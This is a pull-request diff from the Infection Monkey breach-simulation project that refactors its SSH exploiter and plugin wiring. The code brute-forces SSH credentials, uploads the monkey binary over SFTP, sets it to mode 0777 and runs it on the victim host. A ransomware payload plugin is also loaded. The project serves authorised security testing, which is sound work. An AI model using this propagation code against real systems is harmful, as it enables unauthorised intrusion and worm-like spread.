Merge pull request #1727 from guardicore/1605-modify-ssh-exploit
Modify SSH exploit
This commit is contained in:
commit
7d0e177e7a
|
@ -1,10 +1,13 @@
|
|||
import logging
|
||||
from abc import abstractmethod
|
||||
from datetime import datetime
|
||||
from typing import Dict
|
||||
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -26,7 +29,7 @@ class HostExploiter:
|
|||
def _EXPLOITED_SERVICE(self):
|
||||
pass
|
||||
|
||||
def __init__(self, host):
|
||||
def __init__(self):
|
||||
self._config = WormConfiguration
|
||||
self.exploit_info = {
|
||||
"display_name": self._EXPLOITED_SERVICE,
|
||||
|
@ -37,7 +40,10 @@ class HostExploiter:
|
|||
"executed_cmds": [],
|
||||
}
|
||||
self.exploit_attempts = []
|
||||
self.host = host
|
||||
self.host = None
|
||||
self.telemetry_messenger = None
|
||||
self.options = {}
|
||||
self.exploit_result = {}
|
||||
|
||||
def set_start_time(self):
|
||||
self.exploit_info["started"] = datetime.now().isoformat()
|
||||
|
@ -48,17 +54,6 @@ class HostExploiter:
|
|||
def is_os_supported(self):
|
||||
return self.host.os.get("type") in self._TARGET_OS_TYPE
|
||||
|
||||
def send_exploit_telemetry(self, name: str, result: bool):
|
||||
from infection_monkey.telemetry.exploit_telem import ExploitTelem
|
||||
|
||||
ExploitTelem( # stale code
|
||||
name=name,
|
||||
host=self.host,
|
||||
result=result,
|
||||
info=self.exploit_info,
|
||||
attempts=self.exploit_attempts,
|
||||
).send()
|
||||
|
||||
def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
|
||||
self.exploit_attempts.append(
|
||||
{
|
||||
|
@ -71,7 +66,12 @@ class HostExploiter:
|
|||
}
|
||||
)
|
||||
|
||||
def exploit_host(self):
|
||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
|
||||
self.host = host
|
||||
self.telemetry_messenger = telemetry_messenger
|
||||
self.options = options
|
||||
|
||||
self.pre_exploit()
|
||||
result = None
|
||||
try:
|
||||
|
@ -85,6 +85,9 @@ class HostExploiter:
|
|||
return result
|
||||
|
||||
def pre_exploit(self):
|
||||
self.exploit_result = ExploiterResultData(
|
||||
os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts
|
||||
)
|
||||
self.set_start_time()
|
||||
|
||||
def post_exploit(self):
|
||||
|
|
|
@ -10,10 +10,12 @@ from common.utils.exceptions import FailedExploitationError
|
|||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -26,8 +28,8 @@ class SSHExploiter(HostExploiter):
|
|||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = "SSH"
|
||||
|
||||
def __init__(self, host):
|
||||
super(SSHExploiter, self).__init__(host)
|
||||
def __init__(self):
|
||||
super(SSHExploiter, self).__init__()
|
||||
self._update_timestamp = 0
|
||||
|
||||
def log_transfer(self, transferred, total):
|
||||
|
@ -37,7 +39,10 @@ class SSHExploiter(HostExploiter):
|
|||
self._update_timestamp = time.time()
|
||||
|
||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
||||
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||
)
|
||||
|
||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||
# Creating file-like private key for paramiko
|
||||
|
@ -67,7 +72,10 @@ class SSHExploiter(HostExploiter):
|
|||
raise FailedExploitationError
|
||||
|
||||
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
user_password_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_password_list"],
|
||||
)
|
||||
|
||||
for user, current_password in user_password_pairs:
|
||||
|
||||
|
@ -76,23 +84,16 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
||||
|
||||
logger.debug(
|
||||
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
||||
self.host,
|
||||
user,
|
||||
self._config.hash_sensitive_data(current_password),
|
||||
)
|
||||
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||
self.add_vuln_port(port)
|
||||
self.report_login_attempt(True, user, current_password)
|
||||
return ssh
|
||||
|
||||
except Exception as exc:
|
||||
logger.debug(
|
||||
"Error logging into victim %r with user"
|
||||
" %s and password (SHA-512) '%s': (%s)",
|
||||
"Error logging into victim %r with user" " %s: (%s)",
|
||||
self.host,
|
||||
user,
|
||||
self._config.hash_sensitive_data(current_password),
|
||||
exc,
|
||||
)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
|
@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter):
|
|||
continue
|
||||
raise FailedExploitationError
|
||||
|
||||
def _exploit_host(self):
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
port = SSH_PORT
|
||||
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in list(self.host.services.items()):
|
||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||
|
@ -110,17 +111,22 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||
if not is_open:
|
||||
logger.info("SSH port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
||||
|
||||
logger.info(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
ssh = self.exploit_with_ssh_keys(port)
|
||||
self.exploit_result.exploitation_success = True
|
||||
except FailedExploitationError:
|
||||
try:
|
||||
ssh = self.exploit_with_login_creds(port)
|
||||
self.exploit_result.exploitation_success = True
|
||||
except FailedExploitationError:
|
||||
logger.debug("Exploiter SSHExploiter is giving up...")
|
||||
return False
|
||||
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if not self.host.os.get("type"):
|
||||
try:
|
||||
|
@ -128,12 +134,20 @@ class SSHExploiter(HostExploiter):
|
|||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.host.os["type"] = "linux"
|
||||
self.exploit_result.os = "linux"
|
||||
else:
|
||||
logger.info("SSH Skipping unknown os: %s", uname_os)
|
||||
return False
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
||||
if not uname_os:
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
except Exception as exc:
|
||||
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running uname os command on victim {self.host}: ({exc})"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if not self.host.os.get("machine"):
|
||||
try:
|
||||
|
@ -142,15 +156,20 @@ class SSHExploiter(HostExploiter):
|
|||
if "" != uname_machine:
|
||||
self.host.os["machine"] = uname_machine
|
||||
except Exception as exc:
|
||||
logger.debug(
|
||||
"Error running uname machine command on victim %r: (%s)", self.host, exc
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running uname machine command on victim {self.host}: ({exc})"
|
||||
)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
self.exploit_result.error_message = (
|
||||
f"Can't find suitable monkey executable for host {self.host}"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
ftp = ssh.open_sftp()
|
||||
|
@ -159,45 +178,58 @@ class SSHExploiter(HostExploiter):
|
|||
with monkeyfs.open(src_path) as file_obj:
|
||||
ftp.putfo(
|
||||
file_obj,
|
||||
self._config.dropper_target_path_linux,
|
||||
self.options["dropper_target_path_linux"],
|
||||
file_size=monkeyfs.getsize(src_path),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
|
||||
status = ScanStatus.USED
|
||||
T1222Telem(
|
||||
ScanStatus.USED,
|
||||
"chmod 0777 %s" % self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
).send()
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1222Telem(
|
||||
ScanStatus.USED,
|
||||
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
|
||||
self.host,
|
||||
)
|
||||
)
|
||||
ftp.close()
|
||||
except Exception as exc:
|
||||
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
self.exploit_result.error_message = (
|
||||
f"Error uploading file into victim {self.host}: ({exc})"
|
||||
)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
T1105Telem(
|
||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||
).send()
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1105Telem(
|
||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||
)
|
||||
)
|
||||
if status == ScanStatus.SCANNED:
|
||||
return False
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
cmdline += " > /dev/null 2>&1 &"
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.options["dropper_target_path_linux"],
|
||||
self.host,
|
||||
cmdline,
|
||||
)
|
||||
|
||||
self.exploit_result.propagation_success = True
|
||||
|
||||
ssh.close()
|
||||
self.add_executed_cmd(cmdline)
|
||||
return True
|
||||
return self.exploit_result
|
||||
|
||||
except Exception as exc:
|
||||
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running monkey on victim {self.host}: ({exc})"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
|
|
@ -1,8 +1,9 @@
|
|||
import abc
|
||||
import threading
|
||||
from collections import namedtuple
|
||||
from dataclasses import dataclass
|
||||
from enum import Enum
|
||||
from typing import Dict, List, Sequence
|
||||
from typing import Dict, Iterable, List, Mapping, Sequence
|
||||
|
||||
from . import PluginType
|
||||
from .credential_collection import Credentials
|
||||
|
@ -17,10 +18,16 @@ class UnknownPluginError(Exception):
|
|||
pass
|
||||
|
||||
|
||||
ExploiterResultData = namedtuple(
|
||||
"ExploiterResultData",
|
||||
["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"],
|
||||
)
|
||||
@dataclass
|
||||
class ExploiterResultData:
|
||||
exploitation_success: bool = False
|
||||
propagation_success: bool = False
|
||||
os: str = ""
|
||||
info: Mapping = None
|
||||
attempts: Iterable = None
|
||||
error_message: str = ""
|
||||
|
||||
|
||||
PingScanData = namedtuple("PingScanData", ["response_received", "os"])
|
||||
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
|
||||
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
|
||||
|
@ -103,16 +110,19 @@ class IPuppet(metaclass=abc.ABCMeta):
|
|||
:rtype: FingerprintData
|
||||
"""
|
||||
|
||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||
@abc.abstractmethod
|
||||
def exploit_host(
|
||||
self, name: str, host: str, options: Dict, interrupt: threading.Event
|
||||
self, name: str, host: object, options: Dict, interrupt: threading.Event
|
||||
) -> ExploiterResultData:
|
||||
"""
|
||||
Runs an exploiter against a remote host
|
||||
:param str name: The name of the exploiter to run
|
||||
:param str host: The domain name or IP address of a host
|
||||
:param object host: The domain name or IP address of a host
|
||||
:param Dict options: A dictionary containing options that modify the behavior of the
|
||||
exploiter
|
||||
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop
|
||||
executing and clean itself up.
|
||||
:return: True if exploitation was successful, False otherwise
|
||||
:rtype: ExploiterResultData
|
||||
"""
|
||||
|
|
|
@ -115,7 +115,7 @@ class Exploiter:
|
|||
credentials = self._get_credentials_for_propagation()
|
||||
options = {"credentials": credentials, **options}
|
||||
|
||||
return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop)
|
||||
return self._puppet.exploit_host(exploiter_name, victim_host, options, stop)
|
||||
|
||||
def _get_credentials_for_propagation(self) -> Mapping:
|
||||
try:
|
||||
|
|
|
@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import (
|
|||
MimikatzCredentialCollector,
|
||||
SSHCredentialCollector,
|
||||
)
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||
from infection_monkey.master import AutomatedMaster
|
||||
from infection_monkey.master.control_channel import ControlChannel
|
||||
|
@ -194,7 +195,7 @@ class InfectionMonkey:
|
|||
return local_network_interfaces
|
||||
|
||||
def _build_puppet(self) -> IPuppet:
|
||||
puppet = Puppet()
|
||||
puppet = Puppet(self.telemetry_messenger)
|
||||
|
||||
puppet.load_plugin(
|
||||
"MimikatzCollector",
|
||||
|
@ -213,6 +214,8 @@ class InfectionMonkey:
|
|||
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
||||
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
||||
|
||||
puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER)
|
||||
|
||||
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
||||
|
||||
return puppet
|
||||
|
|
|
@ -134,8 +134,9 @@ class MockPuppet(IPuppet):
|
|||
|
||||
return empty_fingerprint_data
|
||||
|
||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||
def exploit_host(
|
||||
self, name: str, host: str, options: Dict, interrupt: threading.Event
|
||||
self, name: str, host: object, options: Dict, interrupt: threading.Event
|
||||
) -> ExploiterResultData:
|
||||
logger.debug(f"exploit_hosts({name}, {host}, {options})")
|
||||
attempts = [
|
||||
|
@ -209,7 +210,7 @@ class MockPuppet(IPuppet):
|
|||
}
|
||||
|
||||
try:
|
||||
return successful_exploiters[host][name]
|
||||
return successful_exploiters[host.ip_addr][name]
|
||||
except KeyError:
|
||||
return ExploiterResultData(
|
||||
False, False, os_linux, {}, [], f"{name} failed for host {host}"
|
||||
|
|
|
@ -14,6 +14,7 @@ from infection_monkey.i_puppet import (
|
|||
PostBreachData,
|
||||
)
|
||||
|
||||
from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
from .mock_puppet import MockPuppet
|
||||
from .plugin_registry import PluginRegistry
|
||||
|
||||
|
@ -21,9 +22,10 @@ logger = logging.getLogger()
|
|||
|
||||
|
||||
class Puppet(IPuppet):
|
||||
def __init__(self) -> None:
|
||||
def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None:
|
||||
self._mock_puppet = MockPuppet()
|
||||
self._plugin_registry = PluginRegistry()
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
|
||||
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
|
||||
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
|
||||
|
@ -56,10 +58,12 @@ class Puppet(IPuppet):
|
|||
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
|
||||
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
|
||||
|
||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||
def exploit_host(
|
||||
self, name: str, host: str, options: Dict, interrupt: threading.Event
|
||||
self, name: str, host: object, options: Dict, interrupt: threading.Event
|
||||
) -> ExploiterResultData:
|
||||
return self._mock_puppet.exploit_host(name, host, options, interrupt)
|
||||
exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
|
||||
return exploiter.exploit_host(host, self._telemetry_messenger, options)
|
||||
|
||||
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
|
||||
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)
|
||||
|
|
|
@ -3,7 +3,7 @@ from typing import Dict
|
|||
from common.common_consts.telem_categories import TelemCategoryEnum
|
||||
from infection_monkey.model.host import VictimHost
|
||||
from infection_monkey.telemetry.base_telem import BaseTelem
|
||||
from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData
|
||||
from infection_monkey.i_puppet.i_puppet import ExploiterResultData
|
||||
|
||||
|
||||
class ExploitTelem(BaseTelem):
|
||||
|
|
|
@ -61,7 +61,7 @@ class T1210(AttackTechnique):
|
|||
def get_exploited_services():
|
||||
results = mongo.db.telemetry.aggregate(
|
||||
[
|
||||
{"$match": {"telem_category": "exploit", "data.result": True}},
|
||||
{"$match": {"telem_category": "exploit", "data.exploitation_result": True}},
|
||||
{
|
||||
"$group": {
|
||||
"_id": {"ip_addr": "$data.machine.ip_addr"},
|
||||
|
|
|
@ -56,7 +56,7 @@ def get_exploits_used_on_node(node: dict) -> List[str]:
|
|||
[
|
||||
ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name
|
||||
for exploit in node["exploits"]
|
||||
if exploit["result"]
|
||||
if exploit["exploitation_result"]
|
||||
]
|
||||
)
|
||||
)
|
||||
|
|
|
@ -24,7 +24,7 @@ def process_exploit_telemetry(telemetry_json):
|
|||
|
||||
check_machine_exploited(
|
||||
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]),
|
||||
exploit_successful=telemetry_json["data"]["exploitation_success"],
|
||||
exploit_successful=telemetry_json["data"]["exploitation_result"],
|
||||
exploiter=telemetry_json["data"]["exploiter"],
|
||||
target_ip=telemetry_json["data"]["machine"]["ip_addr"],
|
||||
timestamp=telemetry_json["timestamp"],
|
||||
|
|
|
@ -1,12 +1,19 @@
|
|||
import threading
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from infection_monkey.i_puppet import PluginType
|
||||
from infection_monkey.puppet.puppet import Puppet
|
||||
|
||||
|
||||
def test_puppet_run_payload_success(monkeypatch):
|
||||
p = Puppet()
|
||||
@pytest.fixture
|
||||
def mock_telemetry_messenger():
|
||||
return MagicMock()
|
||||
|
||||
|
||||
def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger):
|
||||
p = Puppet(mock_telemetry_messenger)
|
||||
|
||||
payload = MagicMock()
|
||||
payload_name = "PayloadOne"
|
||||
|
@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch):
|
|||
payload.run.assert_called_once()
|
||||
|
||||
|
||||
def test_puppet_run_multiple_payloads(monkeypatch):
|
||||
p = Puppet()
|
||||
def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger):
|
||||
p = Puppet(mock_telemetry_messenger)
|
||||
|
||||
payload_1 = MagicMock()
|
||||
payload1_name = "PayloadOne"
|
||||
|
|
|
@ -94,7 +94,7 @@ NODE_DICT = {
|
|||
"dead": True,
|
||||
"exploits": [
|
||||
{
|
||||
"result": True,
|
||||
"exploitation_result": True,
|
||||
"exploiter": "DrupalExploiter",
|
||||
"info": {
|
||||
"display_name": "Drupal Server",
|
||||
|
@ -109,7 +109,7 @@ NODE_DICT = {
|
|||
"origin": "MonkeyIsland : 192.168.56.1",
|
||||
},
|
||||
{
|
||||
"result": True,
|
||||
"exploitation_result": True,
|
||||
"exploiter": "ElasticGroovyExploiter",
|
||||
"info": {
|
||||
"display_name": "Elastic search",
|
||||
|
@ -130,8 +130,8 @@ NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT)
|
|||
NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0]
|
||||
|
||||
NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT)
|
||||
NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False
|
||||
NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False
|
||||
NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False
|
||||
NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
|
|
Loading…
Reference in New Issue